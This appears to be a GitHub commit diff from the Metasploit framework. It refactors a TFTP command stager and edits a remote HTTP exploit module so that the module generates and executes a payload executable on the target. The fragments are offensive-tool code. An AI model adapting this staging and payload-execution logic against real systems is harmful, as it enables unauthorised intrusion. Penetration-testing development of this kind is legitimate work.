File tree Expand file tree Collapse file tree 2 files changed +7
-6
lines changed
lib/rex/exploitation/cmdstager
modules/exploits/multi/http Expand file tree Collapse file tree 2 files changed +7
-6
lines changed Original file line number Diff line number Diff line change @@ -31,14 +31,14 @@ def initialize(exe)
31
31
end
32
32
33
33
def setup ( mod )
34
- tftp = Rex ::Proto ::TFTP ::Server . new
35
- tftp . register_file ( Rex ::Text . rand_text_alphanumeric ( 8 ) , exe )
36
- tftp . start
37
- mod . add_socket ( tftp ) # Hating myself for doing it... but it's just a first demo
34
+ self . tftp = Rex ::Proto ::TFTP ::Server . new
35
+ self . tftp . register_file ( Rex ::Text . rand_text_alphanumeric ( 8 ) , exe )
36
+ self . tftp . start
37
+ mod . add_socket ( self . tftp ) # Hating myself for doing it... but it's just a first demo
38
38
end
39
39
40
40
def teardown ( mod = nil )
41
- tftp . stop
41
+ self . tftp . stop
42
42
end
43
43
44
44
#
Original file line number Diff line number Diff line change @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::CmdStager
12
12
include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Exploit ::EXE
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
@@ -91,7 +92,7 @@ def execute_command(cmd, opts = {})
91
92
def windows_stager
92
93
print_status ( "Sending request to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
93
94
execute_cmdstager ( { :temp => '.' } )
94
- @payload_exe = payload_exe
95
+ @payload_exe = generate_payload_exe
95
96
96
97
print_status ( "Attempting to execute the payload..." )
97
98
execute_command ( @payload_exe )
You can’t perform that action at this time.
0 commit comments